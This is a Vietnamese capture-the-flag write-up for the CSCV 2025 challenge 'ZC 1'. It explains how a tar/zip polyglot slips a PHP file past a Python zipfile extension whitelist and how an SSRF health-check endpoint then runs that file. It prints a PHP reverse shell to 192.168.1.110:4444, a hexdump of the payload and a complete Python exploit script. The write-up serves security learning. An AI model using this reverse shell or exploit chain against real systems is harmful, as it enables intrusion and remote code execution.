[CSCV 2025] ZC 1 - Python ZipFile -> Bypass whitelist -> SSRF -> Trigger RCE
Tổng quan
Challenge này thuộc về cuộc thi Sinh viên an ninh mạng 2025 - CSCV 2025. Đây là lần đầu tiên và cũng là lần cuối cùng mình được tham gia cuộc thi này.
Kỹ năng học được
- Cơ bản hiểu được cách thực hiện giải nén của thư viện ZipFile
- Cơ bản SSRF
- Cơ bản reverse shell
Bài giải
1. Flag được đặt vào đâu ?
services:
app1:
build:
context: ./app1
dockerfile: Dockerfile
environment:
- STORAGE_URL=http://app2
ports:
- "8000:8000"
- "5678:5678" # For debug
app2:
build:
context: ./app2
dockerfile: Dockerfile
volumes:
- ./app2/flag.txt:/flag.txt:ro
Flag được đặt tại thư mục gốc / trong container app2. Như vậy mục tiêu của player cần phải tìm cách đọc được nội dung của file hoặc chiếm được shell và từ đó đọc được file
Ta cũng thấy rõ ràng rằng không thể truy cập trực tiếp đến serviceapp2 vì nó không expose port ra ngoài
2. Cấu trúc hệ thống
Dựa vào docker-compose.yml, ta thấy rằng có 2 thành phần app1 được code bằng python và app2 được code bằng php
Dựa vào STORAGE_URL được định nghĩa trong app1 , ta hiểu rằng app2 có vai trò như là 1 storage server cho app1

- App1 được xây dựng dựa trên framework django
- App2 được xây dựng dựa trên PHP thuần
3. Tìm sink
Để đọc được flag trên app2, ta cần tập trung tìm các sink có thể đọc file hoặc cho phép rce app2
Chức năng duy nhất của app2 là lưu trữ tệp, ta có thể xem tại file storage.php
<?php
require "vendor/autoload.php";
use Archive7z\Archive7z;
if(isset($_POST['id']) && isset($_FILES['file'])){
$storage_dir = __DIR__ . "/storage/" . $_POST['id'];
if(!is_dir($storage_dir)){
mkdir($storage_dir);
}
$obj = new Archive7z($_FILES["file"]["tmp_name"]);
$obj->setOutputDirectory($storage_dir);
$obj->extract();
}
?>
Đây là logic PHP nhận tệp tin bị nén → giải nén sử dụng Archive7z → Lưu thư mục sau khi giải nén vào thư mục storage/<id>.
Nó cho phép client gửi POST request gồm:
id→ tên thư mục lưufile→ file nén upload
Sau đó server sẽ tự động giải nén nội dung file vào thư mục tương ứng.
Tới đây, ta có thể nghĩ ngay đến việc upload 1 file php lên app2 thông qua việc nén file php đó vào 1 file .7z
7z hỗ trợ các loại file sau:
-
Packing / unpacking:
7z,XZ,BZIP2,GZIP,TAR,ZIPvàWIM. -
Unpacking only:
APFS,AR,ARJ,Base64,CAB,CHM,CPIO,CramFS,DMG,EXT,FAT,GPT,HFS,IHEX,ISO,LZH,LZMA,MBR,MSI,NSIS,NTFS,QCOW2,RAR,RPM,SquashFS,UDF,UEFI,VDI,VHD,VHDX,VMDK,XARvàZ.
4. Tìm source
Ta đã xác định được mục tiêu cần làm là bằng 1 cách nào đó upload tệp php lên app2 bằng cách đóng gói tệp php thành 1 trong formats mà .7z hỗ trợ việc unpacking
Ở bước này, ta cần xác định chức năng nào cho phép upload tệp tin lên app2
Trong file app1/src/gateway/utils.py có định nghĩa phương thức tải file lên app2
storage_url = settings.STORAGE_URL
def transport_file(id, file):
try:
res = requests.post(
url= storage_url + "/storage.php",
files={
"id":(None,id),
"file":file
},
allow_redirects=False,
timeout=2
)
return "OK"
except Exception as e:
return "ERR"
storage_url được lấy từ biến môi trường được khởi tạo trong docker-compose.yml, nó trỏ tới app2
Nó gửi đi request POST bao gồm id và file tới /storage.php
Tiếp tục tìm kiếm xem hàm *transport_file* được sử dụng ở đâu bằng cách search theo keyword trong IDE

Chức năng upload file được thực hiện bằng method POST trên *url_path*='transport'
Nó thực hiện lấy file từ request.FILES["file"] sau đó thực hiện hàm check_file , nếu kết quả của hàm trả về True thì tiến hành gọi hàm *transport_file* để chuyển tiếp file qua app2 để lưu trữ
Trong file app1/src/gateway/urls.py
[SNIP]
...
gateway_router = DefaultRouter()
gateway_router.register('', GatewayViewSet, basename='gateway')
user_router = DefaultRouter()
user_router.register('', UserViewSet, basename='user')
urlpatterns = [
path('', include(gateway_router.urls)),
path('user/',include(user_router.urls))
]
Ta thấy logic của GatewayViewSet được đăng ký với basename là gateway , từ đây ta có thể suy ra full url path cho chức năng upload file từ app1 là: http://app1/gateway/transport
5. Bypass check file logic
Trước khi app1 chuyển tiếp file sang app2 nó thực hiện việc kiểm tra bằng cách gọi hàm *check_file* được định nghĩa trong file app1/src/gateway/utils.py như sau:
def check_file(file):
try:
with zipfile.ZipFile(file,"r") as zf:
namelist = zf.namelist()
if len([f for f in namelist if not f.endswith(allow_storage_file)]) > 0:
return False
except Exception as e:
print("Error Check File:",str(e))
return False
return True
Hàm sử dụng thư viện zipfile để giải nén file zip, sau đó thực hiện kiểm tra các extension của các tệp với whitelist ALLOW_STORAGE_FILE = (".txt",".docx",".png",".jpg",".jpeg")
Nếu ta nén tệp php vào file zip thì sau khi giải nén đuôi file .php sẽ không thể vượt qua được whitelist

Vậy nên ta cần phải tìm 1 cách nào đó để thư viện zipFile bỏ qua tệp .php tức là phương thức namelist() không lấy bao gồm tên các file php
Ta biết rằng, file ZIP luôn bắt đầu bằng các byte 50 4B 03 04 (PK..) và kết thúc là 50 4b 05 06 .. (EOCD (End Of Central Directory))

Thư viện zipFile dựa trên các byte này để nhận biết tệp zip.
Điều đặc biệt là các byte 50 4B 03 04 (PK..) không nhất thiết phải đứng ở đầu mỗi tệp tin, các byte 50 4B 03 04 (PK..) có thể nằm ở bất kỳ đâu trong tệp tin và thư viện zipFile luôn đọc chính xác toàn bộ các byte của 1 tệp zip dựa vào 4 byte đầu là 50 4B 03 04 và kết thúc 50 4b 05 06 ..
https://raw.githubusercontent.com/corkami/pics/master/binary/zip101/zip101.pdf
Ta chuẩn bị 1 tệp reverse.php và 1 tệp test1.txt được nén lại thành tệp test1.zip
<?php
// reverse.php
system("bash -c 'bash -i >& /dev/tcp/192.168.1.110/4444 0>&1'");
?>

Và khi ta nén 2 tệp sau thành file payload.tar, ta thấy rằng các byte 50 4B 03 04 của file test1.zip nằm ở phần cuối của tệp tin trong khi các byte của tệp reverse.php được đặt ở đầu file
❯ xxd payload.tar
00000000: 7061 796c 6f61 642f 0000 0000 0000 0000 payload/........
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 3030 3030 3737 3700 3030 3030 ....0000777.0000
00000070: 3030 3000 3030 3030 3030 3000 3030 3030 000.0000000.0000
00000080: 3030 3030 3030 3000 3135 3134 3532 3730 0000000.15145270
00000090: 3635 3700 3030 3734 3135 0020 3500 0000 657.007415. 5...
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000100: 0075 7374 6172 2020 0000 0000 0000 0000 .ustar ........
00000110: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000200: 7061 796c 6f61 642f 7265 7665 7273 652e payload/reverse.
00000210: 7068 7000 0000 0000 0000 0000 0000 0000 php.............
00000220: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000230: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000250: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000260: 0000 0000 3030 3030 3636 3600 3030 3030 ....0000666.0000
00000270: 3030 3000 3030 3030 3030 3000 3030 3030 000.0000000.0000
00000280: 3030 3030 3131 3200 3135 3134 3532 3730 0000112.15145270
00000290: 3132 3500 3031 3135 3631 0020 3000 0000 125.011561. 0...
000002a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000300: 0075 7374 6172 2020 0000 0000 0000 0000 .ustar ........
00000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000320: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000400: 3c3f 7068 700a 0a73 7973 7465 6d28 2262 <?php..system("b
00000410: 6173 6820 2d63 2027 6261 7368 202d 6920 ash -c 'bash -i
00000420: 3e26 202f 6465 762f 7463 702f 3139 322e >& /dev/tcp/192.
00000430: 3136 382e 312e 3131 302f 3434 3434 2030 168.1.110/4444 0
00000440: 3e26 3127 2229 3b0a 3f3e 0000 0000 0000 >&1'");.?>......
00000450: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000460: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000470: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000480: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000005d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000005e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000005f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000600: 7061 796c 6f61 642f 7465 7374 312e 7a69 payload/test1.zi
00000610: 7000 0000 0000 0000 0000 0000 0000 0000 p...............
00000620: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000630: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000640: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000650: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000660: 0000 0000 3030 3030 3636 3600 3030 3030 ....0000666.0000
00000670: 3030 3000 3030 3030 3030 3000 3030 3030 000.0000000.0000
00000680: 3030 3030 3237 3000 3135 3037 3436 3033 0000270.15074603
00000690: 3332 3700 3031 3131 3733 0020 3000 0000 327.011173. 0...
000006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000700: 0075 7374 6172 2020 0000 0000 0000 0000 .ustar ........
00000710: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000720: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000730: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000740: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000007f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000800: 504b 0304 0a00 0000 0000 2552 525b 88a8 PK........%RR[..
00000810: 48a2 1000 0000 1000 0000 0900 1c00 7465 H.............te
00000820: 7374 312e 7478 7455 5409 0003 b506 f368 st1.txtUT......h
00000830: b506 f368 7578 0b00 0104 e803 0000 04e8 ...hux..........
00000840: 0300 002e 2e2f 2e2e 2f2e 2e2f 2e2e 2f66 ...../../../../f
00000850: 6c61 6750 4b01 021e 030a 0000 0000 0025 lagPK..........%
00000860: 5252 5b88 a848 a210 0000 0010 0000 0009 RR[..H..........
00000870: 0018 0000 0000 0000 0000 00ff a100 0000 ................
00000880: 0074 6573 7431 2e74 7874 5554 0500 03b5 .test1.txtUT....
00000890: 06f3 6875 780b 0001 04e8 0300 0004 e803 ..hux...........
000008a0: 0000 504b 0506 0000 0000 0100 0100 4f00 ..PK..........O.
000008b0: 0000 5300 0000 0000 0000 0000 0000 0000 ..S.............
000008c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000008d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000008e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000008f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000900: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Khi zipFile thực hiện việc giải nén file payload.tar nó giải nén chính xác các byte từ 50 4B 03 04 đến phần EOCD và không đả động gì đến các byte khác còn lại. Việc không đả động gì đến các byte khác bao gồm các byte của tệp php giúp cho tệp php không được đưa vào Central Directory (danh sách namelist) của zipFile , do vậy trong quá trình kiểm tra namelist với whitelist tệp PHP sẽ không xuất hiện

6. Attack chain
Ta có 1 điểm để upload file từ internet vào đến service app1 → Bypass Whitelist → File độc hại được lưu trữ trên app2
Vậy làm sao để kích hoạt file độc hại reverse.php đã được đẩy lên app2 ?
Trong file app1/src/gateway/views.py có định nghĩa 1 action health
@action(detail=False, methods=['get'], url_path='health')
def health(self, request: Request, *args, **kwargs):
module = request.query_params.get("module", "/health.php")
if health_check(module):
return Response(data="OK")
return Response(data="ERR")
Hàm này gọi đến health_check
def health_check(module):
try:
res = requests.get(storage_url + module, timeout=2)
if res.status_code == 200:
return True
return False
except:
return False
Nếu như ta không cung cấp module thì mặc định service app1 sẽ sử dụng path /health.php để gọi đến service app2 . Vậy nên ta có thể cung cấp cho module 1 giá trị là path trỏ tới file reverse.php được lưu trữ trên service app1
Đường dẫn của file reverse.php sau khi giải nén file payload.tar trên app1 sẽ như sau:
http://app1/storage/{user_id}/payload/reverse.php
user_id được random từ UUID, giá trị này được đặt trong payload của JWT Token

7. Full Exploit
import requests
import json
import base64
HOST = "http://localhost:8000"
# Đăng ký tài khoản
def do_register():
data = {
"username": "test",
"password": "test"
}
response = requests.post(f"{HOST}/gateway/user/", json=data)
return response
# Đăng nhập
def do_login():
data = {
"username": "test",
"password": "test"
}
response = requests.post(f"{HOST}/auth/token/", json=data)
return response
# Lấy ra user_id được đặt trong jwt token
def do_get_user_id(token):
data = token.split(".")[1]
data = base64.b64decode(data + "===").decode()
data = json.loads(data)
return data["user_id"]
# Thực hiện yêu cầu tải file tar lên app1, file tar ở app1 sẽ bypass whitelist và được chuyển sang app2
def do_transport(token, file_path):
with open(file_path, "rb") as f:
files = {
"file": f
}
headers = {
"Authorization": f"Bearer {token}"
}
response = requests.post(f"{HOST}/gateway/transport/", files=files, headers=headers)
return response
# Thực hiện SSRF để gọi tới file reverse.php, trigger rce
def do_health(module):
params = {
"module": module
}
response = requests.get(f"{HOST}/gateway/health/", params=params)
return response
if __name__ == "__main__":
res = do_register()
print("Register response:", res.text)
res = do_login()
token = json.loads(res.text)["access"]
print("Login response:", res.text)
user_id = do_get_user_id(token)
print("Get user ID response:", user_id)
res = do_transport(token, "payload.tar")
print("Transport response:", res.text)
res = do_health(f"/storage/{user_id}/payload/reverse.php")
print("Health response:", res.text)
Kết quả

All rights reserved